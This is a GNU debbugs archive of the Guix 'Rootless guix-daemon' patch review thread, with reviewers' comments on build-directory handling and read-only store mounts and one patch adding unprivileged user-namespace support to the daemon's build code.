List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Ludovic Court=C3=A8s <ludo@HIDDEN> skribis:

> Next up:
>
>   =E2=80=A2 automating =E2=80=98guix-install.sh=E2=80=99 VM tests;

Done in <https://issues.guix.gnu.org/76488>.

Ludo=E2=80=99.




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 21 Feb 2025 22:40:35 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 21 17:40:35 2025
Received: from localhost ([127.0.0.1]:39347 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tlbhC-0001Z4-Dg
	for submit <at> debbugs.gnu.org; Fri, 21 Feb 2025 17:40:35 -0500
Received: from mailout.russelstein.xyz ([2605:6400:20:11e::1]:57488)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <reepca@HIDDEN>)
 id 1tlbh7-0001YI-Th
 for 75810 <at> debbugs.gnu.org; Fri, 21 Feb 2025 17:40:32 -0500
DKIM-Signature: v=1; a=ed25519-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=ed25519; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=SsnJXQ0ht6+cyqyTRUUPcTTDXlJZAsrADpoyaQny70M=; b=NIEt2dIj2EFmSa3aWOvu4/W+4H
 KtIf0VLY1avfHy4slAPxWlNK2yHKY7icf2XZRn59UmXuoH1P2BSdya7WmJCQ==;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=rsa; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=SsnJXQ0ht6+cyqyTRUUPcTTDXlJZAsrADpoyaQny70M=; b=irQ3vcwv7z6avneQPEpcL3evuY
 o/3csLTkyTEw29X1Otf6YKIH6/kGKZnbb+Wu66BC0m+BpvJiTpLXu2EBt+CY2+YpB3c46qO5wlRxA
 U21XYhzQy/zXjJcoc0pGYdZLDCiFKDgUJnec7xJSGPpXYGz71D2NqFgx6w66KxrRXIKlssWInzENw
 bgzguKZ6QPTbsoTk4ntufB1HOO/ZeP9qHE5t8sjEty17Sb6XOOTRGUS1c86d1kPX2FTP13d2bdEnn
 UT5WYF2dxLTOOhKgZ+axdH22fIe3Oj8zkr8hlpDvthxhXHKXFSdsWIaP1yL6EFYndfXd/yl4NZoSH
 W2N5Nd/cffJDPuEns0KmSTksY7hfbEMb2w4Id/HLJZ+EMHGC9d76da12ZEaGdd2MVQ24Of0ELkSVy
 OIX7uoFjclbIWIKl3nHaVCByLlj2w4lbgf3gxD9Sf+Y6o/PXcgrWEQs3+HZ0FQ8KWs++3yK9FgSU/
 yi0vKLjpAAuX64JjSI+zOTOu3Q2Xo1Sxn6p6ERSHwTaD00m+4jaU7RfMpODirSryCk8E4/lMmB6yo
 peYXEzJWxLCtpG59dsXevCWdf15UQw5S0s7jgTFVK5LxFNcLxQWoe96CdfTLclcsgG9wKiNXpfga5
 k0KI+qiyfz9dOPzKec8XRA5FhL0DwlkBdgXq29qz8=;
Received: by russelstein.xyz with esmtpsa
 (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256)
 (Exim 4.98) (envelope-from <reepca@HIDDEN>)
 id 1tlbh0-000000002hm-40Xu; Fri, 21 Feb 2025 16:40:25 -0600
From: Reepca Russelstein <reepca@HIDDEN>
To: Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Subject: Re: [PATCH v3 00/11] Rootless guix-daemon
In-Reply-To: <cover.1740142328.git.ludo@HIDDEN> ("Ludovic =?utf-8?Q?Court?=
 =?utf-8?Q?=C3=A8s=22's?= message
 of "Fri, 21 Feb 2025 14:05:48 +0100")
References: <cover.1740142328.git.ludo@HIDDEN>
Date: Fri, 21 Feb 2025 16:39:06 -0600
Message-ID: <877c5idit1.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="=-=-=";
 micalg=pgp-sha256; protocol="application/pgp-signature"
X-Spam-Score: 0.5
X-Spam-Bar: /
X-Spam-Score-Int: 5
X-Spam-Report: Spam detection software, running on the system "Sanctum",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: > Hello! > > Here’s
    an updated version, addressing most issues brought up > by Reepca, also available
    from > <https://codeberg.org/civodul/guix/src/branch/wip-rootless-daemon>.
    > Main changes compar [...] 
 
 Content analysis details:   (0.5 points, 5.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 NO_RELAYS              Informational: message was not relayed via SMTP
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Spam-Score: 0.5 (/)
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 0.5 (/)

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Ludovic Court=C3=A8s <ludo@HIDDEN> writes:

> Hello!
>
> Here=E2=80=99s an updated version, addressing most issues brought up
> by Reepca, also available from
> <https://codeberg.org/civodul/guix/src/branch/wip-rootless-daemon>.
> Main changes compared to v2:
>
>   =E2=80=A2 Derivation inputs and / are mounted read-only; additional
>     tests check the ability to write to these, to /tmp, to
>     /dev/{full,null}, and to remount any of these as read-write.
>
>   =E2=80=A2 Unit files for systemd tweaked so that (1) guix-daemon sees
>     a private read-write mount of the store, and (2) gnu-store.mount
>     actually remounts the store read-only after guix-daemon has
>     started.

I'm not familiar with how systemd does service dependencies, but does
this mean that the store becomes writable when the daemon is stopped?

>
>   =E2=80=A2 =E2=80=98DerivationGoal::deleteTmpDir=E2=80=99 bails out when=
 it fails to
>     chown =E2=80=98tmpDir=E2=80=99 (i.e., it does not try to =E2=80=9Cpiv=
ot=E2=80=9D the /top
>     sub-directory).
>
> Did I forget anything, Reepca?

I believe that if you try a "--keep-failed" build that fails in the
CAP_CHOWN case, you'll find that only root or the guix-daemon user can
delete the kept build directory, though the user that started the build
can delete everything inside it.  This is because in that case the build
directory was chown'ed back to guix-daemon so that it could be moved,
but wasn't chown'ed to the client user afterward.  If I recall correctly
there was code included to perform this extra chown in the (getuid() !=3D
0) case in the v2 series - was it accidentally forgotten?

Also, there are potential issues with how wide the scope of the try
block in DerivationGoal::deleteTmpDir is - _chown isn't the only place
within it that can raise a SysError, and there are failure modes present
that may merit more user attention than lvlInfo.  For example, if

rename((pivot + "/top").c_str(), top.c_str())

fails (which can be rather easily arranged by a local attacker), then
the build directory path reported in the "note: keeping build directory"
message remains up for grabs by anyone.  If the user doesn't go out of
their way to verify that the build directory isn't attacker-controlled,
they could be rather easily tricked into executing malicious code.  But
currently the exception from this rename failing will be turned into a
lvlInfo message, and I'm not sure how that interacts with the verbosity
defaults in the various CLI programs.

This does somewhat raise the question of why we're even doing the
pivoting in a way that creates a window during which failure can be
induced.  For example, we could move the inner build directory to the
pivot path, at which point the outer build directory should become
empty, so it should work to then rename the pivot path to the outer
build directory path, thereby atomically replacing it.

Also, in the unprivileged case (non-root, no CAP_CHOWN), the build
directory never gets pivoted out.  This is better for security than the
previous situation (which allowed setuid programs to be exposed), but it
should be quite doable to simply secure the file permissions first and
then carry on with the pivot.  I believe I previously mentioned perhaps
using secureFilePerms to do this?

It may work well to use the v2 patch for this with a call to
secureFilePerms added right before the try block and a have_cap_chown
boolean flag being saved for later recall after the pivot instead of the
(getuid() !=3D 0) check.  That way in the fully-unprivileged case it
doesn't successfully pivot the now-sanitized build directory only to
immediately fail to chown it.  Actually, because that chown call doesn't
result in an exception on failure, it would also work to only add the
secureFilePerms call.


Also, I've discovered that while mount(2) uses EPERM for both a locked
mount point and insufficient privileges, umount(2) uses EINVAL for the
former and EPERM for the latter.  This may be a good way to test that
we're triggering the mount-locking behavior as intended.

> The one observable difference compared to current guix-daemon
> operational mode is that, in the build environment, writing to
> the root file system results in EROFS instead of EPERM, as you
> pointed out earlier.  That=E2=80=99s not great but probably acceptable.
> We=E2=80=99ll only know whether this is a problem in practice once we=E2=
=80=99ve
> run the test suites of tens of thousands of packages.

Strictly speaking, it's also observable that the root file system,
store, /tmp, etc is not owned by uid 0, and that the input store items
are all mounted read-only.

=2D reepca

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQFLBAEBCAA1FiEEdNapMPRLm4SepVYGwWaqSV9/GJwFAme5AIoXHHJlZXBjYUBy
dXNzZWxzdGVpbi54eXoACgkQwWaqSV9/GJxgYwgAhCMl0Qtku5lc4mEsPXe8b9pV
+yE3q1BYWa3Wbo4Cy9M5gYUG9l7R5jk1wRD7g7BZJAcN7IwbUwBzXpHVaRgBn81P
ZrduzqK4I42w5PxSc8VU274uWVrHAHu8P6kvV+EKlQL1ooiMi7DhTytFNXlaiPEI
nAgZJKiKxEfkvgTiAWDySuM7EDQ+CZ5CDn7k9bOsYJjeDqCW7CSIt3jhNz/Sltg8
3pijCCCa6sFSdxUVJd9wPPK+AulN3oMHz0JfWKPotsjKM2nSt+jwWXZIZwUvOyVo
2VNQ+gOqA8acA4vKFMcm6fZ2YNko0y/TJOn/vcKXmxU4lvzJPdmaBFZvztpsEQ==
=zez6
-----END PGP SIGNATURE-----
--=-=-=--




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 21 Feb 2025 19:23:45 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 21 14:23:45 2025
Received: from localhost ([127.0.0.1]:36346 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tlYce-0000Ci-GK
	for submit <at> debbugs.gnu.org; Fri, 21 Feb 2025 14:23:44 -0500
Received: from mail-wm1-x32f.google.com ([2a00:1450:4864:20::32f]:44148)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
 (Exim 4.84_2) (envelope-from <zimon.toutoune@HIDDEN>)
 id 1tlYca-0000B6-4H
 for 75810 <at> debbugs.gnu.org; Fri, 21 Feb 2025 14:23:37 -0500
Received: by mail-wm1-x32f.google.com with SMTP id
 5b1f17b1804b1-4399deda4bfso17513175e9.0
 for <75810 <at> debbugs.gnu.org>; Fri, 21 Feb 2025 11:23:36 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=gmail.com; s=20230601; t=1740165810; x=1740770610; darn=debbugs.gnu.org;
 h=content-transfer-encoding:mime-version:message-id:date:references
 :in-reply-to:subject:cc:to:from:from:to:cc:subject:date:message-id
 :reply-to; bh=JL0cUwZOmt0vmc5SLP2va36BjzZij+khGE1JMcEia7Y=;
 b=JJ1ArDu91x6bNTrd52zOW0tdFzZ8tfS/H0od8S+ws201hPIwm25xwsjSAgGAKC0TFx
 +WhdbfrMv2KRjO9peWny16qpY2jYtRvS2lpRoE4RRllLa27o+dTbcg2eVg2P7jvoCFBe
 nrFzzsrKEey7jW1UqWFiZmvN9pNe+S7J5rOUEESfYMCMu0cSdIe4MVeAV34TA+W6GkyJ
 d9cMDp98GYecomexNUlNkPNlZyxgDtJmRJOd9K/k9txdg5NUogBaLXKMigK0A89HSFW2
 rqzUJ8Rq8nDq/93GEZ5jmtW8gMEFdw3oOP2kbnBtdg3qyagiQksHhAzqWUBLY7XtyV6f
 Dr1Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20230601; t=1740165810; x=1740770610;
 h=content-transfer-encoding:mime-version:message-id:date:references
 :in-reply-to:subject:cc:to:from:x-gm-message-state:from:to:cc
 :subject:date:message-id:reply-to;
 bh=JL0cUwZOmt0vmc5SLP2va36BjzZij+khGE1JMcEia7Y=;
 b=D8ZAJeKKWJy5IDwY6+VuDO6r7s2CaI8dVT//NC5tRRtYJ6Xy+hFpT1cOjkCb6dXMk7
 rEZB3NdLlWAkfLi3rjuhM+yv8Buw1E3ckQODpLeXjMR7FG08WUxfV9hREAVZUJMbjtBI
 hdGJnapJBPB4O1K7iHu+v8Dy/li403mLNSsJypoqXtiX3OPqHyi9bBmK5VkYr4dQGq5v
 QC64ff1K9pkTuAqBKH7Fu8ZrKVrZwAauvZo8oIbtoUXUC00r12DJLtOCPRkkCZKXDCcl
 DwmOI6B5PNc7BH14i/a1zf4cc2zpKHoHXRRezhSnagJciE8sWbgQeuctrfy88Azij+s9
 DvhQ==
X-Forwarded-Encrypted: i=1;
 AJvYcCVokn6B9xQlX3vCE6RRNyNE/DCRTithPlePMoBE5MJYlNw1NcFzWckOo5a8FTX1f9vDu0jtcg==@debbugs.gnu.org
X-Gm-Message-State: AOJu0Yx0rDfvfn2nNRIsfCq/bXyAsQT9+W1NNy/OE+VTxjkLWgyAvA6r
 LriXrU/TWS2e1TaSWSplkR9l/mL+MBRsAWkEdXA1/V9LBD/GZiyL
X-Gm-Gg: ASbGncvwIeHAXIl8CpKmfLgu8uU9MTE1jYWQEyybYFh7OOy1oWvRcPIS95m6MQ3udPh
 O2EQA5cLaRdN81l4E8L4+4FpounfxNeG4OfXt/xWJPppHB/fm3VzZlgAm4/OAmPq4CRca27rYt+
 VTjhEjMi7R1P8pr5TrDObGwYeg/tHGJqf3pA2vFfqI6AlNQnUdatAtC9/9x6VDzJeUEHt6vq3XZ
 7V3HPEuhL68Y3eARI+SrE2CDAyBABXu1wp/MjPP4NLAdO5P7oC2evTlEcSzCjKsoKGCM5UoxBwH
 ImuoYZruq4KUfGvmQ+sm8kClHbyYgu32G2VhHMCjPTN6rG2ZXLCIboiEClSKta9PxdSYbsqZlSP
 zxTNG4Skm/0Y=
X-Google-Smtp-Source: AGHT+IFeFkXLRdKR+T/ekjxFkaEwVCzDwYwhVR16zJ1Cw2uVVC5MFicMuwysKcofLctq0l/ChfNDoA==
X-Received: by 2002:a05:600c:3c90:b0:439:a202:86dd with SMTP id
 5b1f17b1804b1-439b155b048mr28876815e9.26.1740165809655; 
 Fri, 21 Feb 2025 11:23:29 -0800 (PST)
Received: from lili (roam-nat-fw-prg-194-254-61-45.net.univ-paris-diderot.fr.
 [194.254.61.45]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4399be7ccfesm48968095e9.0.2025.02.21.11.23.28
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Fri, 21 Feb 2025 11:23:29 -0800 (PST)
From: Simon Tournier <zimon.toutoune@HIDDEN>
To: Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>, 75810 <at> debbugs.gnu.org
Subject: Re: [bug#75810] [PATCH v3 00/11] Rootless guix-daemon
In-Reply-To: <cover.1740142328.git.ludo@HIDDEN>
References: <cover.1737738362.git.ludo@HIDDEN>
 <cover.1740142328.git.ludo@HIDDEN>
Date: Fri, 21 Feb 2025 18:16:11 +0100
Message-ID: <87jz9jrzfo.fsf@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: 0.0 (/)
X-Debbugs-Envelope-To: 75810
Cc: Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.0 (-)

Hi Ludo,

On Fri, 21 Feb 2025 at 14:05, Ludovic Court=C3=A8s <ludo@HIDDEN> wrote:

> The one observable difference compared to current guix-daemon
> operational mode is that, in the build environment, writing to
> the root file system results in EROFS instead of EPERM, as you
> pointed out earlier.  That=E2=80=99s not great but probably acceptable.
> We=E2=80=99ll only know whether this is a problem in practice once we=E2=
=80=99ve
> run the test suites of tens of thousands of packages.

Clearly, I do not fully understand all the deep details of all the
series.

Quoting Janneke [1]:

        I'm kind of afraid that having a writable /gnu/store, even if it's =
just
        on foreign distributions, is going to cause a whole lot of problems=
/bug
        reports with people changing files in the store.  When I came to gu=
ix I
        ran it on Debian for a couple of months and I certainly changed fil=
es in
        the store, even with the read-only mount hurdle, to "get stuff to
        build".  Only later to realise that by doing so I was making things=
 much
        more difficult for myself.

        Hopefully I'm either misunderstanding this patch set, or else too
        pessimistict, and maybe other people aren't as stupid as I was when=
 I
        first came to Guix?

I=E2=80=99m not sure to get what=E2=80=99s the answer now with the v3?  Esp=
ecially when
connected to this other question:

                           Will there be an option for users to choose betw=
een
        a non-root guix-daemon or a read-only store?

Where the answer, IIUC, is no.

Could you clarify the status about the store when running guix-daemon as
root on foreign distros?  Or maybe now, will guix-daemon always run as a
regular user on foreign distros?

From an user perspective, instead of running guix-daemon as root, now
guix-daemon will run as the regular user named =E2=80=99guix-daemon=E2=80=
=99 without any
special privileges, right?

User still need root privileges once at guix-install.sh time but not
more.  Therefore, for updating the guix-daemon, the user guix-daemon
needs to run =E2=80=9Cguix pull=E2=80=9C and restart the service, right?

If yes, cool!  It=E2=80=99ll be a booster for cluster sysadmins. :-)

Cheers,
simon

1: [bug#75810] [PATCH 0/6] Rootless guix-daemon
Janneke Nieuwenhuizen <janneke@HIDDEN>
Fri, 24 Jan 2025 20:20:42 +0100
id:87ikq49fxx.fsf@HIDDEN
https://issues.guix.gnu.org/75810
https://issues.guix.gnu.org/msgid/87ikq49fxx.fsf@HIDDEN
https://yhetil.org/guix/87ikq49fxx.fsf@HIDDEN




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 21 Feb 2025 13:09:45 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 21 08:09:45 2025
Received: from localhost ([127.0.0.1]:56713 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tlSmk-0005tL-HY
	for submit <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:09:44 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:60040)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tlSjt-0005OD-RP
 for 75810 <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:07:02 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tlSjn-0004Yz-Ia; Fri, 21 Feb 2025 08:06:39 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=idfaYvTmznhqv9+JO9+QiD13YMv5X4U5zH6e+nqsgOA=; b=R8mrQ4mlW7XQGnsEkwbQ
 0s5fR0rOxQAZqcb3y9C2swDIloNT4IJ/S+Se16uHsQSTA4Qg2rrM6kcwB3hI6gEOdUwDCdiweD9dN
 inarbhDvq/IszdaORra1+Rv6U8EWKdJG1PKiktE4VcFFmPwZX9Z4oAHYyTqXiH5OkAdlPt2q8ugU6
 3kcM+iG+WrrFnXh/JEzQyqLoIoW1O12krwoNAgYlSxcaCRU8yBWqIfOz4f2yo4UwSFEESoRVj9B7q
 LDybhvqvH56EPOK3dV3ufSy0aYFKVXUPSBzJUlWpn4U6+MPD18hXJDUpqhkKW5UXLSOE+L9TyAyVf
 05ixn7KlXYlrxA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v3 05/11] daemon: Allow running as non-root with unprivileged
 user namespaces.
Date: Fri, 21 Feb 2025 14:05:53 +0100
Message-ID: <1f4adc1c09dde70b193e1571b250e6152f0b4ca2.1740142328.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740142328.git.ludo@HIDDEN>
References: <cover.1740142328.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Debbugs-Cc: Christopher Baines <guix@HIDDEN>, Josselin Poiret <dev@HIDDEN>, Ludovic Courtès <ludo@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>, Simon Tournier <zimon.toutoune@HIDDEN>, Tobias Geerinckx-Rice <me@HIDDEN>
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludovic.courtes@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

From: Ludovic Courtès <ludovic.courtes@HIDDEN>

* nix/libstore/build.cc (guestUID, guestGID): New variables.
(DerivationGoal)[readiness]: New field.
(initializeUserNamespace): New function.
(DerivationGoal::runChild): When ‘readiness.readSide’ is positive, read
from it.
(DerivationGoal::startBuilder): Call ‘chown’
only when ‘buildUser.enabled()’ is true.  Pass CLONE_NEWUSER to ‘clone’
when ‘buildUser.enabled()’ is false or not running as root.  Retry
‘clone’ without CLONE_NEWUSER upon EPERM.
(DerivationGoal::registerOutputs): Make ‘actualPath’ writable before
‘rename’.
(DerivationGoal::deleteTmpDir): Catch ‘SysError’ around ‘_chown’ call.
* nix/libstore/local-store.cc (LocalStore::createUser): Do nothing if
‘dirs’ already exists.  Warn instead of failing when failing to chown
‘dir’.
* guix/substitutes.scm (%narinfo-cache-directory): Check for
‘_NIX_OPTIONS’ rather than getuid() == 0 to determine the cache
location.

Change-Id: I38fbe01f80fb45a99cd8a391e55a39a54d64fcb7
---
 guix/substitutes.scm        |   4 +-
 nix/libstore/build.cc       | 149 ++++++++++++++++++++++++++++--------
 nix/libstore/local-store.cc |  22 ++++--
 3 files changed, 135 insertions(+), 40 deletions(-)

diff --git a/guix/substitutes.scm b/guix/substitutes.scm
index e31b3940203..2761a3dafb4 100644
--- a/guix/substitutes.scm
+++ b/guix/substitutes.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2013-2021, 2023-2024 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2013-2021, 2023-2025 Ludovic Courtès <ludo@HIDDEN>
 ;;; Copyright © 2014 Nikita Karetnikov <nikita@HIDDEN>
 ;;; Copyright © 2018 Kyle Meyer <kyle@HIDDEN>
 ;;; Copyright © 2020 Christopher Baines <mail@HIDDEN>
@@ -76,7 +76,7 @@ (define %narinfo-cache-directory
   ;; time, 'guix substitute' is called by guix-daemon as root and stores its
   ;; cached data in /var/guix/….  However, when invoked from 'guix challenge'
   ;; as a user, it stores its cache in ~/.cache.
-  (if (zero? (getuid))
+  (if (getenv "_NIX_OPTIONS")                     ;invoked by guix-daemon
       (or (and=> (getenv "XDG_CACHE_HOME")
                  (cut string-append <> "/guix/substitute"))
           (string-append %state-directory "/substitute/cache"))
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index c87f4f767c5..107ffcfea06 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -747,6 +747,10 @@ private:
 
     friend int childEntry(void *);
 
+    /* Pipe to notify readiness to the child process when using unprivileged
+       user namespaces.  */
+    Pipe readiness;
+
     /* Check that the derivation outputs all exist and register them
        as valid. */
     void registerOutputs();
@@ -1622,6 +1626,25 @@ int childEntry(void * arg)
 }
 
 
+/* UID and GID of the build user inside its own user namespace.  */
+static const uid_t guestUID = 30001;
+static const gid_t guestGID = 30000;
+
+/* Initialize the user namespace of CHILD.  */
+static void initializeUserNamespace(pid_t child)
+{
+    auto hostUID = getuid();
+    auto hostGID = getgid();
+
+    writeFile("/proc/" + std::to_string(child) + "/uid_map",
+	      (format("%d %d 1") % guestUID % hostUID).str());
+
+    writeFile("/proc/" + std::to_string(child) + "/setgroups", "deny");
+
+    writeFile("/proc/" + std::to_string(child) + "/gid_map",
+	      (format("%d %d 1") % guestGID % hostGID).str());
+}
+
 void DerivationGoal::startBuilder()
 {
     auto f = format(
@@ -1685,7 +1708,7 @@ void DerivationGoal::startBuilder()
 	   then an attacker could create in it a hardlink to a root-owned file
 	   such as /etc/shadow.  If 'keepFailed' is true, the daemon would
 	   then chown that hardlink to the user, giving them write access to
-	   that file.  */
+	   that file.  See CVE-2021-27851.  */
 	tmpDir += "/top";
 	if (mkdir(tmpDir.c_str(), 0700) == 1)
 	    throw SysError("creating top-level build directory");
@@ -1802,7 +1825,7 @@ void DerivationGoal::startBuilder()
         if (mkdir(chrootRootDir.c_str(), 0750) == -1)
             throw SysError(format("cannot create ‘%1%’") % chrootRootDir);
 
-        if (chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1)
+        if (buildUser.enabled() && chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1)
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootRootDir);
 
         /* Create a writable /tmp in the chroot.  Many builders need
@@ -1821,8 +1844,8 @@ void DerivationGoal::startBuilder()
             (format(
                 "nixbld:x:%1%:%2%:Nix build user:/:/noshell\n"
                 "nobody:x:65534:65534:Nobody:/:/noshell\n")
-                % (buildUser.enabled() ? buildUser.getUID() : getuid())
-                % (buildUser.enabled() ? buildUser.getGID() : getgid())).str());
+                % (buildUser.enabled() ? buildUser.getUID() : guestUID)
+                % (buildUser.enabled() ? buildUser.getGID() : guestGID)).str());
 
         /* Declare the build user's group so that programs get a consistent
            view of the system (e.g., "id -gn"). */
@@ -1857,7 +1880,7 @@ void DerivationGoal::startBuilder()
         createDirs(chrootStoreDir);
